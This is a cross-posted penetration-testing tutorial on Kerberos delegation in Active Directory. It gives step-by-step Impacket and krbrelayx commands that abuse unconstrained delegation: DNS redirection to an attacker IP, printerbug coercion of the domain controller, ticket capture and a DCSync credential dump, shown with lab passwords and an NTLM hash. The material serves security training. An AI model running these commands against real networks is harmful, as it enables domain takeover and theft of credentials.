Hunter recently graduated with his Master’s degree in Cyber Defense and has over two years of experience in penetration testing. His favorite area of testing is Active Directory, and in his free time, he enjoys working in his home lab and analyzing malware.
This blog has been cross-posted. We’re grateful to Hunter for allowing us to share this insightful work—you can check out the original post in full HERE.
In Active Directory exploitation, Kerberos delegation is easily among my top favorite vectors of abuse, and in the years I’ve been learning Kerberos exploitation, I’ve noticed that Impacket doesn’t get nearly as much coverage as tools like Rubeus or Mimikatz.
From a penetration testing perspective, especially when operating from a remote dropbox, being able to interface Kali to the domain controller provides tremendous value, as we don’t need to drop binaries on disk, nor do we need to worry about host-based detections.
This is not an exhaustive list of every explicit delegation abuse path possible, otherwise I’d be working on this forever! Instead, I wanted to focus on each type of delegation configured for both users and machines, and the most common attack paths for each.
Kerberos is a ticket-based authentication protocol that enables secure communication in untrusted environments by first establishing two-party trust through a mutual third party. Kerberos requires three parties:
The Kerberos authentication flow works like this:
Through the trusted intermediary – the KDC – the client and destination service can establish trust, relying on the assumption that only the KDC knows everything.
Kerberos references services by their Service Principal Name, or SPN, and one ticket can be generated per one SPN at a time. For added efficiency, if a user wants to obtain tickets for multiple services, instead of performing the entire authentication process each time, they can simply reuse their TGT to obtain access to various other services. By default, Microsoft states a TGT is valid for 10 hours before the entire authentication process must fully begin again.
Because of how tickets are constructed, services cannot forward client credentials to other resources: they only possess a service ticket encrypted with their own key. This inability to forward credentials is known as the Kerberos Double-Hop Problem.
Microsoft introduced delegation to let one service forward a client’s credentials to another, enabling the first service to authenticate the client to the second. There are three forms of Kerberos delegation:
With all of that discussed, the key idea is that delegation is essentially a specialized form of impersonation that resolves the double-hop problem. It’s additionally important to note delegation can be configured on both users and machines within a domain.
This means that if a user or machine configured with delegation is compromised, the attacker’s goals vary depending on the type (with some caveats we will cover later). Since this is a three-part series of blog posts, we will first focus on abusing unconstrained delegation.
To abuse unconstrained delegation, we must first compromise a user or machine configured with it. Following this, our end goal is to obtain a TGT from an elevated user/machine – usually the domain administrator – to compromise the environment.
The high-level steps are:
Assume we’ve compromised the user kuduser with the password Password1!, which has unconstrained delegation configured.
To escalate in the domain, we need to first add a Service Principal Name (SPN) to the user and a DNS entry resolving such SPN to the attacker’s IP address. Once those are done, we can then obtain a TGT from an elevated user/machine.
Caveat: Users do not have SPNs associated with them by default, so we need the permission to add our own SPN so tickets can be generated to our user if one has not been added already. This is not a default setting, but appears to be often attributed with database service accounts. We additionally need the permission to add a DNS entry to our added SPN, which appears to be a default setting.
1. Find user-based unconstrained delegation (kuduser)
impacket-findDelegation 'secure.local/kuduser':'Password1!' -dc-ip 10.0.1.200
2. Add an SPN to kuduser if there isn’t one already (KUD.secure.local)
python3 addspn.py -u secure.local\\kuduser -p 'Password1!' -s host/KUD.secure.local --target-type samname 10.0.1.200
3. (Optional) Verify the SPN has been added successfully
pywerview get-netuser -d secure.local -u kuduser -p 'Password1!' -t 10.0.1.200 --unconstrained
4. Add a DNS entry that resolves KUD.secure.local to our attacker IP 10.0.1.13
python3 dnstool.py -u secure.local\\kuduser -p 'Password1!' -r KUD.secure.local -a add -d 10.0.1.13 10.0.1.200
5. Verify proper name resolution, may take a few minutes
nslookup KUD.secure.local 10.0.1.200
6. Set up Kerberos listener with kuduser’s password
python3 krbrelayx.py --krbsalt SECURE.LOCALkuduser --krbpass 'Password1!'
7. Force the DC (10.0.1.200) to authenticate to us (KUD.secure.local)
python3 printerbug.py 'secure.local/kuduser':'Password1!'@10.0.1.200 KUD.secure.local
8. Export the ticket into memory
export KRB5CCNAME=DC01\[email protected][email protected]
9. Perform a DCSync against DC01 as DC01$
impacket-secretsdump -k DC01.secure.local
10. (Cleanup): Remove the added DNS entry
python3 dnstool.py -u secure.local\\kuduser -p 'Password1!' -r KUD.secure.local -a remove -d 10.0.1.13 10.0.1.200
11. (Cleanup): Remove the added SPN (if user started without one)
python3 addspn.py -u secure.local\\kuduser -p 'Password1!' -s host/KUD.secure.local --target-type samname 10.0.1.200 -r
Assume we’ve compromised the machine PC01$ with the NTLM hash aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4, which has unconstrained delegation configured.
To escalate in the domain, we need to first modify PC01$’s existing DNS entry and point it to our attacker IP address. Once complete, we can then obtain a TGT from an elevated user/machine.
Unlike users, machines do have SPNs associated with them, meaning we only need to modify the PC01.secure.local DNS entry to point to our attacker box. It should be noted that this will temporarily cause a denial of service for clients accessing PC01, as all traffic will now route to us.
1. Find machine-based unconstrained delegation (PC01$)
impacket-findDelegation 'secure.local/kuduser':'Password1!' -dc-ip 10.0.1.200
2. Add a DNS entry that resolves PC01.secure.local to our attacker IP 10.0.1.13
python3 dnstool.py -u 'secure.local\PC01$' -p 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -r PC01.secure.local -a modify -d 10.0.1.13 DC01 -dns-ip 10.0.1.200
3. Verify proper name resolution, may take a few minutes
nslookup PC01.secure.local 10.0.1.200
4. Set up Kerberos listener with PC01$’s NTLM hash
python3 krbrelayx.py --krbsalt SECURE.LOCALPC01$ -hashes 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4'
5. Force the DC (10.0.1.200) to authenticate to us (PC01.secure.local)
python3 printerbug.py 'secure.local/kuduser':'Password1!'@10.0.1.200 PC01.secure.local
6. Export the ticket into memory
export KRB5CCNAME=DC01\[email protected][email protected]
7. Perform a DCSync against DC01 as DC01$
impacket-secretsdump -k DC01.secure.local
8. (Cleanup): Restore the original DNS entry for PC01.secure.local
python3 dnstool.py -u 'secure.local\PC01$' -p 'aad3b435b51404eeaad3b435b51404ee:8d67f5a634a447bee65785be5c49b2a4' -r PC01.secure.local -a modify -d 10.0.1.201 DC01 -dns-ip 10.0.1.200
Unconstrained delegation is a neat feature that solves a real limitation of Kerberos, the double-hop problem. However, given the way impersonation occurs by forwarding TGTs, if an unconstrained resource is compromised, an attacker can easily escalate to domain administrator.
Following this, we will discuss abusing constrained delegation and resource-based constrained delegation in future writeups!
Ready to learn more?
Level up your skills with affordable classes from Antisyphon!
Available live/virtual and on-demand
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。